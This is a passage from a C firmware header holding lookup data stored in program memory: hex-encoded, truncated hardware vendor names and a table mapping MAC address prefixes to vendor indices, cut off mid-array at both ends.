0x61,\r\n0x50, 0x75, 0x69, 0x73, 0x73, 0x61, 0x6e, 0x63,\r\n0x41, 0x78, 0x76, 0x69, 0x65, 0x77, 0x54, 0x65,\r\n0x44, 0x65, 0x6c, 0x74, 0x65, 0x6e, 0x6e, 0x61,\r\n0x52, 0x6f, 0x73, 0x73, 0x6c, 0x61, 0x72, 0x65,\r\n0x41, 0x32, 0x75, 0x69, 0x63, 0x74, 0x00, 0x00,\r\n0x48, 0x69, 0x67, 0x68, 0x67, 0x61, 0x74, 0x65,\r\n0x58, 0x69, 0x41, 0x6e, 0x4c, 0x69, 0x6e, 0x6b,\r\n0x54, 0x73, 0x75, 0x7a, 0x75, 0x6b, 0x69, 0x44,\r\n0x4e, 0x7a, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x72, 0x65, 0x66, 0x75, 0x73, 0x69,\r\n0x41, 0x78, 0x61, 0x6e, 0x4e, 0x65, 0x74, 0x77,\r\n0x50, 0x75, 0x6d, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x53, 0x69, 0x6d, 0x6d, 0x54, 0x72, 0x6f, 0x6e,\r\n0x52, 0x65, 0x76, 0x52, 0x69, 0x74, 0x74, 0x65,\r\n0x45, 0x63, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x42, 0x65, 0x74, 0x61, 0x4c, 0x61, 0x73, 0x65,\r\n0x54, 0x61, 0x69, 0x73, 0x68, 0x61, 0x6e, 0x4f,\r\n0x50, 0x6e, 0x79, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x56, 0x61, 0x72, 0x69, 0x73, 0x63, 0x69, 0x74,\r\n0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x63, 0x00,\r\n0x45, 0x67, 0x6b, 0x65, 0x72, 0x4b, 0x66, 0x74,\r\n0x44, 0x69, 0x70, 0x6c, 0x2d, 0x4d, 0x61, 0x74,\r\n0x4e, 0x65, 0x77, 0x70, 0x6f, 0x72, 0x74, 0x4d,\r\n0x52, 0x61, 0x63, 0x6b, 0x77, 0x61, 0x72, 0x65,\r\n0x4e, 0x61, 0x67, 0x4c, 0x6c, 0x63, 0x00, 0x00,\r\n0x47, 0x2d, 0x4c, 0x61, 0x62, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x77, 0x65, 0x45, 0x6c, 0x65, 0x63,\r\n0x53, 0x79, 0x6e, 0x2d, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x61, 0x6e, 0x74, 0x75, 0x72, 0x00, 0x00,\r\n0x52, 0x65, 0x63, 0x69, 0x70, 0x72, 0x6f, 0x63,\r\n0x4e, 0x62, 0x61, 0x73, 0x65, 0x2d, 0x54, 0x41,\r\n0x41, 0x6c, 0x6c, 0x65, 0x67, 0x69, 0x6f, 0x6e,\r\n0x54, 0x72, 0x65, 0x6e, 0x64, 0x79, 0x74, 0x65,\r\n0x4f, 0x63, 0x61, 0x41, 0x6c, 0x6c, 0x69, 0x61,\r\n0x4f, 0x63, 0x63, 0x69, 0x74, 0x61, 0x6c, 0x69,\r\n0x49, 0x6e, 0x57, 0x69, 0x6e, 0x44, 0x65, 0x76,\r\n0x52, 0x73, 0x61, 0x65, 0x4c, 0x61, 0x62, 0x73,\r\n0x52, 0x61, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x53,\r\n0x56, 0x69, 0x65, 0x76, 0x75, 0x00, 0x00, 0x00,\r\n0x46, 0x75, 0x6e, 0x64, 0x61, 0x63, 0x69, 0x6f,\r\n0x43, 0x6f, 0x72, 0x74, 0x6c, 0x61, 0x6e, 0x64,\r\n0x4d, 0x32, 0x6d, 0x6f, 0x74, 0x69, 0x76, 0x65,\r\n0x4c, 0x72, 0x65, 0x4d, 0x65, 0x64, 0x69, 0x63,\r\n0x50, 0x72, 0x65, 0x6e, 0x74, 0x6b, 0x65, 0x52,\r\n0x41, 0x63, 0x74, 0x65, 0x6f, 0x6e, 0x47, 0x72,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x33, 0x00, 0x00,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x41, 0x70,\r\n0x54, 0x61, 0x69, 0x61, 0x6e, 0x54, 0x65, 0x63,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x72, 0x65,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x56, 0x69, 0x73,\r\n0x56, 0x2d, 0x5a, 0x75, 0x67, 0x00, 0x00, 0x00,\r\n0x49, 0x53, 0x6d, 0x61, 0x72, 0x74, 0x43, 0x69,\r\n0x41, 0x75, 0x74, 0x6f, 0x62, 0x61, 0x73, 0x65,\r\n0x49, 0x70, 0x65, 0x76, 0x6f, 0x00, 0x00, 0x00,\r\n0x45, 0x75, 0x72, 0x65, 0x63, 0x61, 0x6d, 0x00,\r\n0x48, 0x61, 0x6e, 0x4b, 0x79, 0x75, 0x6e, 0x67,\r\n0x45, 0x6f, 0x73, 0x74, 0x65, 0x6b, 0x53, 0x68,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x45, 0x6c, 0x65,\r\n0x4c, 0x6f, 0x72, 0x6f, 0x6d, 0x49, 0x6e, 0x64,\r\n0x45, 0x76, 0x65, 0x72, 0x73, 0x70, 0x69, 0x6e,\r\n0x55, 0x74, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x43, 0x65, 0x6c, 0x6f, 0x74, 0x57, 0x69, 0x72,\r\n0x50, 0x6f, 0x6c, 0x79, 0x65, 0x72, 0x61, 0x00,\r\n0x46, 0x61, 0x76, 0x69, 0x74, 0x65, 0x00, 0x00,\r\n0x54, 0x73, 0x69, 0x6e, 0x67, 0x74, 0x6f, 0x6e,\r\n0x48, 0x65, 0x6e, 0x61, 0x6e, 0x4c, 0x61, 0x6e,\r\n0x53, 0x77, 0x61, 0x72, 0x63, 0x6f, 0x4c, 0x65,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x78, 0x69, 0x53,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x65, 0x6e,\r\n0x53, 0x69, 0x6d, 0x65, 0x78, 0x53, 0x70, 0x5a,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x49,\r\n0x42, 0x61, 0x6c, 0x74, 0x69, 0x63, 0x4c, 0x61,\r\n0x57, 0x65, 0x69, 0x62, 0x65, 0x6c, 0x53, 0x63,\r\n0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x62, 0x69, 0x74,\r\n0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x65, 0x64,\r\n0x4c, 0x78, 0x69, 0x6e, 0x73, 0x74, 0x72, 0x75,\r\n0x42, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x63, 0x69, 0x55, 0x73, 0x61, 0x4c, 0x6c,\r\n0x43, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x43, 0x6f,\r\n0x54, 0x72, 0x65, 0x69, 0x54, 0x65, 0x63, 0x68,\r\n0x4e, 0x2d, 0x52, 0x61, 0x64, 0x69, 0x6f, 0x54,\r\n0x55, 0x62, 0x69, 0x76, 0x65, 0x6c, 0x6f, 0x78,\r\n0x4d, 0x6f, 0x74, 0x75, 0x73, 0x47, 0x6c, 0x6f,\r\n0x46, 0x69, 0x64, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x77, 0x69, 0x6e, 0x54, 0x65,\r\n0x50, 0x74, 0x43, 0x61, 0x6c, 0x6c, 0x79, 0x73,\r\n0x4d, 0x69, 0x61, 0x72, 0x74, 0x65, 0x63, 0x68,\r\n0x51, 0x74, 0x73, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x51, 0x75, 0x6c, 0x73, 0x61, 0x72, 0x00, 0x00,\r\n0x53, 0x6f, 0x63, 0x69, 0x6f, 0x6e, 0x65, 0x78,\r\n0x57, 0x61, 0x70, 0x69, 0x63, 0x65, 0x00, 0x00,\r\n0x49, 0x64, 0x61, 0x68, 0x6f, 0x4e, 0x61, 0x74,\r\n0x56, 0x69, 0x6d, 0x61, 0x72, 0x00, 0x00, 0x00,\r\n0x4c, 0x69, 0x66, 0x65, 0x68, 0x65, 0x61, 0x6c,\r\n0x41, 0x73, 0x63, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x43,\r\n0x43, 0x6f, 0x63, 0x61, 0x43, 0x6f, 0x6c, 0x61,\r\n0x4d, 0x65, 0x73, 0x73, 0x61, 0x6e, 0x61, 0x41,\r\n0x45, 0x6e, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x6c,\r\n0x47, 0x2d, 0x57, 0x65, 0x61, 0x72, 0x61, 0x62,\r\n0x41, 0x33, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x6d,\r\n0x41, 0x72, 0x72, 0x61, 0x79, 0x4e, 0x65, 0x74,\r\n0x43, 0x6c, 0x61, 0x79, 0x50, 0x61, 0x6b, 0x79,\r\n0x41, 0x72, 0x72, 0x61, 0x79, 0x65, 0x6e, 0x74,\r\n0x46, 0x6f, 0x72, 0x6d, 0x69, 0x6b, 0x65, 0x45,\r\n0x4f, 0x70, 0x74, 0x65, 0x78, 0x2d, 0x46, 0x61,\r\n0x54, 0x72, 0x6f, 0x6e, 0x74, 0x65, 0x71, 0x45,\r\n0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x52\r\n#endif\r\n};\r\nconst static uint8_t data_macs[] PROGMEM = {\r\n#ifdef ENABLE_MAC_LIST\r\n0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x00, 0x00, 0x01, 0x01, 0x00,\r\n0x00, 0x00, 0x02, 0x01, 0x00,\r\n0x00, 0x00, 0x03, 0x01, 0x00,\r\n0x00, 0x00, 0x04, 0x01, 0x00,\r\n0x00, 0x00, 0x05, 0x01, 0x00,\r\n0x00, 0x00, 0x06, 0x01, 0x00,\r\n0x00, 0x00, 0x07, 0x01, 0x00,\r\n0x00, 0x00, 0x08, 0x01, 0x00,\r\n0x00, 0x00, 0x09, 0x02, 0x00,\r\n0x00, 0x00, 0x0A, 0x03, 0x00,\r\n0x00, 0x00, 0x0B, 0x04, 0x00,\r\n0x00, 0x00, 0x0C, 0x05, 0x00,\r\n0x00, 0x00, 0x0D, 0x06, 0x00,\r\n0x00, 0x00, 0x0E, 0x07, 0x00,\r\n0x00, 0x00, 0x0F, 0x08, 0x00,\r\n0x00, 0x00, 0x10, 0x09, 0x00,\r\n0x00, 0x00, 0x11, 0x0a, 0x00,\r\n0x00, 0x00, 0x12, 0x0b, 0x00,\r\n0x00, 0x00, 0x13, 0x0c, 0x00,\r\n0x00, 0x00, 0x14, 0x0d, 0x00,\r\n0x00, 0x00, 0x15, 0x0e, 0x00,\r\n0x00, 0x00, 0x16, 0x0f, 0x00,\r\n0x00, 0x00, 0x17, 0x10, 0x00,\r\n0x00, 0x00, 0x18, 0x11, 0x00,\r\n0x00, 0x00, 0x19, 0x12, 0x00,\r\n0x00, 0x00, 0x1A, 0x13, 0x00,\r\n0x00, 0x00, 0x1B, 0x14, 0x00,\r\n0x00, 0x00, 0x1C, 0x15, 0x00,\r\n0x00, 0x00, 0x1D, 0x16, 0x00,\r\n0x00, 0x00, 0x1E, 0x17, 0x00,\r\n0x00, 0x00, 0x1F, 0x18, 0x00,\r\n0x00, 0x00, 0x20, 0x19, 0x00,\r\n0x00, 0x00, 0x21, 0x1a, 0x00,\r\n0x00, 0x00, 0x22, 0x1b, 0x00,\r\n0x00, 0x00, 0x23, 0x1c, 0x00,\r\n0x00, 0x00, 0x24, 0x1d, 0x00,\r\n0x00, 0x00, 0x25, 0x1e, 0x00,\r\n0x00, 0x00, 0x26, 0x1f, 0x00,\r\n0x00, 0x00, 0x27, 0x20, 0x00,\r\n0x00, 0x00, 0x28, 0x21, 0x00,\r\n0x00, 0x00, 0x29, 0x22, 0x00,\r\n0x00, 0x00, 0x2A, 0x23, 0x00,\r\n0x00, 0x00, 0x2B, 0x24, 0x00,\r\n0x00, 0x00, 0x2C, 0x25, 0x00,\r\n0x00, 0x00, 0x2D, 0x26, 0x00,\r\n0x00, 0x00, 0x2E, 0x27, 0x00,\r\n0x00, 0x00, 0x2F, 0x28, 0x00,\r\n0x00, 0x00, 0x30, 0x29, 0x00,\r\n0x00, 0x00, 0x31, 0x2a, 0x00,\r\n0x00, 0x00, 0x32, 0x2b, 0x00,\r\n0x00, 0x00, 0x33, 0x2c, 0x00,\r\n0x00, 0x00, 0x34, 0x2d, 0x00,\r\n0x00, 0x00, 0x35, 0x2e, 0x00,\r\n0x00, 0x00, 0x36, 0x2f, 0x00,\r\n0x00, 0x00, 0x37, 0x30, 0x00,\r\n0x00, 0x00, 0x38, 0x31, 0x00,\r\n0x00, 0x00, 0x39, 0x32, 0x00,\r\n0x00, 0x00, 0x3A, 0x33, 0x00,\r\n0x00, 0x00, 0x3B, 0x34, 0x00,\r\n0x00, 0x00, 0x3C, 0x35, 0x00,\r\n0x00, 0x00, 0x3D, 0x36, 0x00,\r\n0x00, 0x00, 0x3E, 0x37, 0x00,\r\n0x00, 0x00, 0x3F, 0x38, 0x00,\r\n0x00, 0x00, 0x40, 0x39, 0x00,\r\n0x00, 0x00, 0x41, 0x3a, 0x00,\r\n0x00, 0x00, 0x42, 0x3b, 0x00,\r\n0x00, 0x00, 0x43, 0x3c, 0x00,\r\n0x00, 0x00, 0x44, 0x3d, 0x00,\r\n0x00, 0x00, 0x45, 0x3e, 0x00,\r\n0x00, 0x00, 0x46, 0x3f, 0x00,\r\n0x00, 0x00, 0x47, 0x40, 0x00,\r\n0x00, 0x00, 0x48, 0x41, 0x00,\r\n0x00, 0x00, 0x49, 0x42, 0x00,\r\n0x00, 0x00, 0x4A, 0x43, 0x00,\r\n0x00, 0x00, 0x4B, 0x44, 0x00,\r\n0x00, 0x00, 0x4C, 0x45, 0x00,\r\n0x00, 0x00, 0x4D, 0x46, 0x00,\r\n0x00, 0x00, 0x4E, 0x47, 0x00,\r\n0x00, 0x00, 0x4F, 0x48, 0x00,\r\n0x00, 0x00, 0x50, 0x49, 0x00,\r\n0x00, 0x00, 0x51, 0x4a, 0x00,\r\n0x00, 0x00, 0x52, 0x4b, 0x00,\r\n0x00, 0x00, 0x53, 0x4c, 0x00,\r\n0x00, 0x00, 0x54, 0x4d, 0x00,\r\n0x00, 0x00, 0x55, 0x4e, 0x00,\r\n0x00, 0x00, 0x56, 0x4f, 0x00,\r\n0x00, 0x00, 0x57, 0x50, 0x00,\r\n0x00, 0x00, 0x58, 0x51, 0x00,\r\n0x00, 0x00, 0x59, 0x52, 0x00,\r\n0x00, 0x00, 0x5A, 0x53, 0x00,\r\n0x00, 0x00, 0x5B, 0x54, 0x00,\r\n0x00, 0x00, 0x5C, 0x55, 0x00,\r\n0x00, 0x00, 0x5D, 0x56, 0x00,\r\n0x00, 0x00, 0x5E, 0x57, 0x00,\r\n0x00, 0x00, 0x5F, 0x58, 0x00,\r\n0x00, 0x00, 0x60, 0x59, 0x00,\r\n0x00, 0x00, 0x61, 0x5a, 0x00,\r\n0x00, 0x00, 0x62, 0x5b, 0x00,\r\n0x00, 0x00, 0x63, 0x5c, 0x00,\r\n0x00, 0x00, 0x64, 0x5d, 0x00,\r\n0x00, 0x00, 0x65, 0x5e, 0x00,\r\n0x00, 0x00, 0x66, 0x5f, 0x00,\r\n0x00, 0x00, 0x67, 0x60, 0x00,\r\n0x00, 0x00, 0x68, 0x61, 0x00,\r\n0x00, 0x00, 0x69, 0x62, 0x00,\r\n0x00, 0x00, 0x6A, 0x63, 0x00,\r\n0x00, 0x00, 0x6B, 0x64, 0x00,\r\n0x00, 0x00, 0x6C, 0x65, 0x00,\r\n0x00, 0x00, 0x6D, 0x66, 0x00,\r\n0x00, 0x00, 0x6E, 0x67, 0x00,\r\n0x00, 0x00, 0x6F, 0x68, 0x00,\r\n0x00, 0x00, 0x70, 0x69, 0x00,\r\n0x00, 0x00, 0x71, 0x6a, 0x00,\r\n0x00, 0x00, 0x72, 0x6b, 0x00,\r\n0x00, 0x00, 0x73, 0x6c, 0x00,\r\n0x00, 0x00, 0x74, 0x6d, 0x00,\r\n0x00, 0x00, 0x75, 0x6e, 0x00,\r\n0x00, 0x00, 0x76, 0x6f, 0x00,\r\n0x00, 0x00, 0x77, 0x70, 0x00,\r\n0x00, 0x00, 0x78, 0x71, 0x00,\r\n0x00, 0x00, 0x79, 0x72, 0x00,\r\n0x00, 0x00, 0x7A, 0x73, 0x00,\r\n0x00, 0x00, 0x7B, 0x74, 0x00,\r\n0x00, 0x00, 0x7C, 0x75, 0x00,\r\n0x00, 0x00, 0x7D, 0x10, 0x00,\r\n0x00, 0x00, 0x7E, 0x76, 0x00,\r\n0x00, 0x00, 0x7F, 0x77, 0x00,\r\n0x00, 0x00, 0x80, 0x78, 0x00,\r\n0x00, 0x00, 0x81, 0x79, 0x00,\r\n0x00, 0x00, 0x82, 0x7a, 0x00,\r\n0x00, 0x00, 0x83, 0x7b, 0x00,\r\n0x00, 0x00, 0x84, 0x7c, 0x00,\r\n0x00, 0x00, 0x85, 0x7d, 0x00,\r\n0x00, 0x00, 0x86, 0x7e, 0x00,\r\n0x00, 0x00, 0x87, 0x7f, 0x00,\r\n0x00, 0x00, 0x88, 0x80, 0x00,\r\n0x00, 0x00, 0x89, 0x81, 0x00,\r\n0x00, 0x00, 0x8A, 0x82, 0x00,\r\n0x00, 0x00, 0x8B, 0x83, 0x00,\r\n0x00, 0x00, 0x8C, 0x84, 0x00,\r\n0x00, 0x00, 0x8D, 0x85, 0x00,\r\n0x00, 0x00, 0x8E, 0x86, 0x00,\r\n0x00, 0x00, 0x8F, 0x87, 0x00,\r\n0x00, 0x00, 0x90, 0x88, 0x00,\r\n0x00, 0x00, 0x91, 0x89, 0x00,\r\n0x00, 0x00, 0x92, 0x8a, 0x00,\r\n0x00, 0x00, 0x93, 0x8b, 0x00,\r\n0x00, 0x00, 0x94, 0x8c, 0x00,\r\n0x00, 0x00, 0x95, 0x8d, 0x00,\r\n0x00, 0x00, 0x96, 0x8e, 0x00,\r\n0x00, 0x00, 0x97, 0x8f, 0x00,\r\n0x00, 0x00, 0x98, 0x90, 0x00,\r\n0x00, 0x00, 0x99, 0x91, 0x00,\r\n0x00, 0x00, 0x9A, 0x92, 0x00,\r\n0x00, 0x00, 0x9B, 0x0b, 0x00,\r\n0x00, 0x00, 0x9C, 0x93, 0x00,\r\n0x00, 0x00, 0x9D, 0x94, 0x00,\r\n0x00, 0x00, 0x9E, 0x95, 0x00,\r\n0x00, 0x00, 0x9F, 0x96, 0x00,\r\n0x00, 0x00, 0xA0, 0x97, 0x00,\r\n0x00, 0x00, 0xA1, 0x98, 0x00,\r\n0x00, 0x00, 0xA2, 0x79, 0x00,\r\n0x00, 0x00, 0xA3, 0x99, 0x00,\r\n0x00, 0x00, 0xA4, 0x9a, 0x00,\r\n0x00, 0x00, 0xA5, 0x9b, 0x00,\r\n0x00, 0x00, 0xA6, 0x5e, 0x00,\r\n0x00, 0x00, 0xA7, 0x9c, 0x00,\r\n0x00, 0x00, 0xA8, 0x9d, 0x00,\r\n0x00, 0x00, 0xA9, 0x9e, 0x00,\r\n0x00, 0x00, 0xAA, 0x9f, 0x00,\r\n0x00, 0x00, 0xAB, 0xa0, 0x00,\r\n0x00, 0x00, 0xAC, 0xa1, 0x00,\r\n0x00, 0x00, 0xAD, 0xa2, 0x00,\r\n0x00, 0x00, 0xAE, 0xa3, 0x00,\r\n0x00, 0x00, 0xAF, 0xa4, 0x00,\r\n0x00, 0x00, 0xB0, 0xa5, 0x00,\r\n0x00, 0x00, 0xB1, 0xa6, 0x00,\r\n0x00, 0x00, 0xB2, 0xa7, 0x00,\r\n0x00, 0x00, 0xB3, 0xa8, 0x00,\r\n0x00, 0x00, 0xB4, 0xa9, 0x00,\r\n0x00, 0x00, 0xB5, 0xaa, 0x00,\r\n0x00, 0x00, 0xB6, 0xab, 0x00,\r\n0x00, 0x00, 0xB7, 0xac, 0x00,\r\n0x00, 0x00, 0xB8, 0xad, 0x00,\r\n0x00, 0x00, 0xB9, 0xae, 0x00,\r\n0x00, 0x00, 0xBA, 0xaf, 0x00,\r\n0x00, 0x00, 0xBB, 0xb0, 0x00,\r\n0x00, 0x00, 0xBC, 0xb1, 0x00,\r\n0x00, 0x00, 0xBD, 0xb2, 0x00,\r\n0x00, 0x00, 0xBE, 0xb3, 0x00,\r\n0x00, 0x00, 0xBF, 0xb4, 0x00,\r\n0x00, 0x00, 0xC0, 0xb5, 0x00,\r\n0x00, 0x00, 0xC1, 0xb6, 0x00,\r\n0x00, 0x00, 0xC2, 0x0b, 0x00,\r\n0x00, 0x00, 0xC3, 0xb7, 0x00,\r\n0x00, 0x00, 0xC4, 0xb8, 0x00,\r\n0x00, 0x00, 0xC5, 0xb9, 0x00,\r\n0x00, 0x00, 0xC6, 0xba, 0x00,\r\n0x00, 0x00, 0xC7, 0xbb, 0x00,\r\n0x00, 0x00, 0xC8, 0xbc, 0x00,\r\n0x00, 0x00, 0xC9, 0xbd, 0x00,\r\n0x00, 0x00, 0xCA, 0xb9, 0x00,\r\n0x00, 0x00, 0xCB, 0xbe, 0x00,\r\n0x00, 0x00, 0xCC, 0xbf, 0x00,\r\n0x00, 0x00, 0xCD, 0xc0, 0x00,\r\n0x00, 0x00, 0xCE, 0xc1, 0x00,\r\n0x00, 0x00, 0xCF, 0xc2, 0x00,\r\n0x00, 0x00, 0xD0, 0xc3, 0x00,\r\n0x00, 0x00, 0xD1, 0xc4, 0x00,\r\n0x00, 0x00, 0xD2, 0xc5, 0x00,\r\n0x00, 0x00, 0xD3, 0xc6, 0x00,\r\n0x00, 0x00, 0xD4, 0xc7, 0x00,\r\n0x00, 0x00, 0xD5, 0xc8, 0x00,\r\n0x00, 0x00, 0xD6, 0xc9, 0x00,\r\n0x00, 0x00, 0xD7, 0xca, 0x00,\r\n0x00, 0x00, 0xD8, 0xcb, 0x00,\r\n0x00, 0x00, 0xD9, 0xcc, 0x00,\r\n0x00, 0x00, 0xDA, 0xcd, 0x00,\r\n0x00, 0x00, 0xDB, 0xce, 0x00,\r\n0x00, 0x00, 0xDC, 0xc2, 0x00,\r\n0x00, 0x00, 0xDD, 0xcf, 0x00,\r\n0x00, 0x00, 0xDE, 0xd0, 0x00,\r\n0x00, 0x00, 0xDF, 0xd1, 0x00,\r\n0x00, 0x00, 0xE0, 0xd2, 0x00,\r\n0x00, 0x00, 0xE1, 0xd3, 0x00,\r\n0x00, 0x00, 0xE2, 0xd4, 0x00,\r\n0x00, 0x00, 0xE3, 0xd5, 0x00,\r\n0x00, 0x00, 0xE4, 0xd6, 0x00,\r\n0x00, 0x00, 0xE5, 0xd7, 0x00,\r\n0x00, 0x00, 0xE6, 0xd8, 0x00,\r\n0x00, 0x00, 0xE7, 0xd9, 0x00,\r\n0x00, 0x00, 0xE8, 0xda, 0x00,\r\n0x00, 0x00, 0xE9, 0xdb, 0x00,\r\n0x00, 0x00, 0xEA, 0xdc, 0x00,\r\n0x00, 0x00, 0xEB, 0xdd, 0x00,\r\n0x00, 0x00, 0xEC, 0xde, 0x00,\r\n0x00, 0x00, 0xED, 0xdf, 0x00,\r\n0x00, 0x00, 0xEE, 0xe0, 0x00,\r\n0x00, 0x00, 0xEF, 0xe1, 0x00,\r\n0x00, 0x00, 0xF0, 0xe2, 0x00,\r\n0x00, 0x00, 0xF1, 0xe3, 0x00,\r\n0x00, 0x00, 0xF2, 0xe4, 0x00,\r\n0x00, 0x00, 0xF3, 0xe5, 0x00,\r\n0x00, 0x00, 0xF4, 0xc0, 0x00,\r\n0x00, 0x00, 0xF5, 0xe6, 0x00,\r\n0x00, 0x00, 0xF6, 0xe7, 0x00,\r\n0x00, 0x00, 0xF7, 0xe8, 0x00,\r\n0x00, 0x00, 0xF8, 0xe9, 0x00,\r\n0x00, 0x00, 0xF9, 0xea, 0x00,\r\n0x00, 0x00, 0xFA, 0xeb, 0x00,\r\n0x00, 0x00, 0xFB, 0xec, 0x00,\r\n0x00, 0x00, 0xFC, 0xed, 0x00,\r\n0x00, 0x00, 0xFD, 0xee, 0x00,\r\n0x00, 0x00, 0xFE, 0xef, 0x00,\r\n0x00, 0x00, 0xFF, 0xf0, 0x00,\r\n0x00, 0x01, 0x00, 0xf1, 0x00,\r\n0x00, 0x01, 0x01, 0x65, 0x00,\r\n0x00, 0x01, 0x02, 0xf2, 0x00,\r\n0x00, 0x01, 0x03, 0xf2, 0x00,\r\n0x00, 0x01, 0x04, 0xf3, 0x00,\r\n0x00, 0x01, 0x05, 0xf4, 0x00,\r\n0x00, 0x01, 0x06, 0xf5, 0x00,\r\n0x00, 0x01, 0x07, 0xf6, 0x00,\r\n0x00, 0x01, 0x08, 0xf7, 0x00,\r\n0x00, 0x01, 0x09, 0xf8, 0x00,\r\n0x00, 0x01, 0x0A, 0xf9, 0x00,\r\n0x00, 0x01, 0x0B, 0xfa, 0x00,\r\n0x00, 0x01, 0x0C, 0xfb, 0x00,\r\n0x00, 0x01, 0x0D, 0xfc, 0x00,\r\n0x00, 0x01, 0x0E, 0xfd, 0x00,\r\n0x00, 0x01, 0x0F, 0x80, 0x00,\r\n0x00, 0x01, 0x10, 0xfe, 0x00,\r\n0x00, 0x01, 0x11, 0xff, 0x00,\r\n0x00, 0x01, 0x12, 0x00, 0x01,\r\n0x00, 0x01, 0x13, 0x01, 0x01,\r\n0x00, 0x01, 0x14, 0x02, 0x01,\r\n0x00, 0x01, 0x15, 0x03, 0x01,\r\n0x00, 0x01, 0x16, 0x04, 0x01,\r\n0x00, 0x01, 0x17, 0x05, 0x01,\r\n0x00, 0x01, 0x18, 0x06, 0x01,\r\n0x00, 0x01, 0x19, 0x07, 0x01,\r\n0x00, 0x01, 0x1A, 0x08, 0x01,\r\n0x00, 0x01, 0x1B, 0x09, 0x01,\r\n0x00, 0x01, 0x1C, 0x0a, 0x01,\r\n0x00, 0x01, 0x1D, 0x0b, 0x01,\r\n0x00, 0x01, 0x1E, 0x0c, 0x01,\r\n0x00, 0x01, 0x1F, 0x0d, 0x01,\r\n0x00, 0x01, 0x20, 0x0e, 0x01,\r\n0x00, 0x01, 0x21, 0x0f, 0x01,\r\n0x00, 0x01, 0x22, 0x10, 0x01,\r\n0x00, 0x01, 0x23, 0x4d, 0x00,\r\n0x00, 0x01, 0x24, 0x11, 0x01,\r\n0x00, 0x01, 0x25, 0x12, 0x01,\r\n0x00, 0x01, 0x26, 0x13, 0x01,\r\n0x00, 0x01, 0x27, 0x14, 0x01,\r\n0x00, 0x01, 0x28, 0x15, 0x01,\r\n0x00, 0x01, 0x29, 0x16, 0x01,\r\n0x00, 0x01, 0x2A, 0x55, 0x00,\r\n0x00, 0x01, 0x2B, 0x17, 0x01,\r\n0x00, 0x01, 0x2C, 0x18, 0x01,\r\n0x00, 0x01, 0x2D, 0x19, 0x01,\r\n0x00, 0x01, 0x2E, 0x1a, 0x01,\r\n0x00, 0x01, 0x2F, 0x1b, 0x01,\r\n0x00, 0x01, 0x30, 0x1c, 0x01,\r\n0x00, 0x01, 0x31, 0x1d, 0x01,\r\n0x00, 0x01, 0x32, 0x1e, 0x01,\r\n0x00, 0x01, 0x33, 0x1f, 0x01,\r\n0x00, 0x01, 0x34, 0x20, 0x01,\r\n0x00, 0x01, 0x35, 0x21, 0x01,\r\n0x00, 0x01, 0x36, 0x22, 0x01,\r\n0x00, 0x01, 0x37, 0x23, 0x01,\r\n0x00, 0x01, 0x38, 0x24, 0x01,\r\n0x00, 0x01, 0x39, 0x25, 0x01,\r\n0x00, 0x01, 0x3A, 0x26, 0x01,\r\n0x00, 0x01, 0x3B, 0x27, 0x01,\r\n0x00, 0x01, 0x3C, 0x28, 0x01,\r\n0x00, 0x01, 0x3D, 0x29, 0x01,\r\n0x00, 0x01, 0x3E, 0x2a, 0x01,\r\n0x00, 0x01, 0x3F, 0x2b, 0x01,\r\n0x00, 0x01, 0x40, 0x2c, 0x01,\r\n0x00, 0x01, 0x41, 0x2d, 0x01,\r\n0x00, 0x01, 0x42, 0x05, 0x00,\r\n0x00, 0x01, 0x43, 0x2e, 0x01,\r\n0x00, 0x01, 0x44, 0x8f, 0x00,\r\n0x00, 0x01, 0x45, 0x2f, 0x01,\r\n0x00, 0x01, 0x46, 0x30, 0x01,\r\n0x00, 0x01, 0x47, 0x31, 0x01,\r\n0x00, 0x01, 0x48, 0x32, 0x01,\r\n0x00, 0x01, 0x49, 0x33, 0x01,\r\n0x00, 0x01, 0x4A, 0x34, 0x01,\r\n0x00, 0x01, 0x4B, 0x35, 0x01,\r\n0x00, 0x01, 0x4C, 0x36, 0x01,\r\n0x00, 0x01, 0x4D, 0x37, 0x01,\r\n0x00, 0x01, 0x4E, 0x38, 0x01,\r\n0x00, 0x01, 0x4F, 0x39, 0x01,\r\n0x00, 0x01, 0x50, 0x3a, 0x01,\r\n0x00, 0x01, 0x51, 0x3b, 0x01,\r\n0x00, 0x01, 0x52, 0x3c, 0x01,\r\n0x00, 0x01, 0x53, 0x3d, 0x01,\r\n0x00, 0x01, 0x54, 0x3e, 0x01,\r\n0x00, 0x01, 0x55, 0x3f, 0x01,\r\n0x00, 0x01, 0x56, 0x40, 0x01,\r\n0x00, 0x01, 0x57, 0x41, 0x01,\r\n0x00, 0x01, 0x58, 